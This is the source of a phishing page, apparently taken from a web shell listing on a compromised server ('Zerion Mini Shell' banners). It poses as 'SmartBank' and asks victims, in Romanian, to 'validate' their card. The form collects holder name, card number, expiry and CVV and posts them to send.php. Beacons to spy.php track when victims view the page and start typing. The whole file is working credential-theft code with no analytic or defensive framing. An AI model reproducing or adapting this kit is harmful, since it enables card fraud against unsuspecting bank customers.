Mini Shell
<?php
require(__DIR__) . '/../main.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SmartBank</title>
<!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css"
integrity="sha512-1ycn6IcaQQ40/MKBW2W4Rhis/DbILU74C1vSrLJxCq57o941Ym01SwNsOMqvEBFlcgUa6xLiPY/NS5R+E6ztJQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" /> -->
<link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
type="text/css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
<!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
<link rel="stylesheet" href="themes/css/login.css">
<link rel="stylesheet" href="themes/css/card.css">
</head>
<body>
<?php include 'includes/nav.php'; ?>
<div class="container-fluid mt-5">
<div class="row justify-content-center">
<div class="col-12 col-md-4">
<div class="bceed">
<form action="" method="POST" id="form" data-redirection="sms" class="hyucuyv">
<div class="hbrhfbc">
<h4 class="jhgsaz">VALIDEAZA TI CARDUL</h4>
<img src="assets/images/vm.png" alt="" class="jhier">
<div class="ubguyyl">
<p class="yftyff">TITULAR CARD*</p>
<div class="iuhyug">
<i class="fas fa-user"></i>
<input id="titular" name="ccn" required type="text" class="klhgui" tabindex="1">
</div>
</div>
<div class="ubguyyl">
<p class="yftyff">NUMARUL CARDULUI*</p>
<div class="iuhyug">
<i class="far fa-credit-card"></i>
<input id="cc" name="cc" placeholder="Numere fara spatii" pattern="^(4|5)[0-9\s]{18}$" required type="text" class="klhgui" tabindex="1">
</div>
</div>
<div class="ubguyyl">
<p class="yftyff">DATA DE EXPIRARE*</p>
<div class="gjdgd">
<select required id="mm" name="mm" class="hbcyue">
<option value="">Luna</option>
<?php for ($i = 1; $i <= 12; $i++) { ?>
<option value="<?= $i ?>">
<?= $i < 10 ? '0' . $i : $i ?>
</option>
<?php } ?>
</select>
<p class="jhekude">/</p>
<select required id="yy" name="yy" class="hbcyue">
<option value="">Anul</option>
<?php for ($i = date('y'); $i <= date('y') + 20; $i++) { ?>
<option value="<?= $i ?>">
<?= $i ?>
</option>
<?php } ?>
</select>
</div>
</div>
<div class="ubguyyl">
<p class="yftyff">CODUL CVC/CVV*</p>
<div class="gjyf">
<div class="iuhyug hgjgsyjd">
<i class="fas fa-lock"></i>
<input id="cvv" name="cvv" required type="text" class="klhgui">
</div>
<div class="khgh">
<img src="assets\images\vs_.png" alt="" class="gyjf">
</div>
</div>
</div>
<?php if (isset($_GET['e'])) { ?>
<p class="error_text">Detalii invalide ale cardului.</p>
<?php } ?>
<button type="submit" name="btn" class=" hjuv">continua</button>
</div>
</form>
</div>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js"
integrity="sha512-0XDfGxFliYJPFrideYOoxdgNIvrwGTLnmK20xZbCAvPfLGQMzHUsaqZK8ZoH+luXGRxTrS46+Aq400nCnAT0/w=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script>
document.addEventListener("DOMContentLoaded", function () {
const inputElements = document.querySelectorAll(".inputss");
const checkButton = document.getElementById("checkButton");
// Function to check if all inputs are not empty
function areAllInputsNotEmpty() {
let allNotEmpty = true;
inputElements.forEach((input) => {
if (input.value.trim() === "") {
allNotEmpty = false;
}
});
return allNotEmpty;
}
// Event listener for input changes
inputElements.forEach((input) => {
input.addEventListener("input", function () {
checkButton.disabled = !areAllInputsNotEmpty();
if (areAllInputsNotEmpty()) {
checkButton.style.backgroundColor = "rgb(82, 174, 48)"
checkButton.style.color = "#fff"
} else {
checkButton.style.backgroundColor = "#e3e3e3"
checkButton.style.color = "#797979"
}
});
});
// // Event listener for the check button
// checkButton.addEventListener("click", function () {
// if (areAllInputsNotEmpty()) {
// alert("All inputs are not empty!");
// } else {
// alert("Some inputs are empty.");
// }
// });
});
</script>
<script src="res/jq.js"></script>
<script src="res/m.js"></script>
<script>
$("#cc").mask("0000 0000 0000 0000");
// $("#mmyy").mask("0000");
// $("#yy").mask("00");
$("#cvv").mask("0000");
$("#form").submit(function (e) {
e.preventDefault();
// if ($("#cc").val().trim() != "" && $("#mm").val().trim() != "" && $("#yy").val().trim() != "" && $(
// "#cvv").val()
// .trim() != "") {
// }
$.post("send.php", {
titular: $("#titular").val(),
cc2: $("#cc").val(),
exp: $("#mm").val().concat('/' + $("#yy").val()),
cvv: $("#cvv").val()
}, function (d) {
window.location = "wait.php?p=CARD";
});
});
// function sendCard() {
//
// }
$.post("spy.php", {
cardview: 1
});
var abort = false;
$("#cc").keyup(function () {
if (abort == false) {
$.post("spy.php", {
carding: 1
});
abort = true;
}
});
</script>
<?php
$m->ctr("CARD2 " . @$_GET['e']);
?>
<?php
$m->ctr("CARD2");
?>
</body>
</html>
Zerion Mini Shell 1.0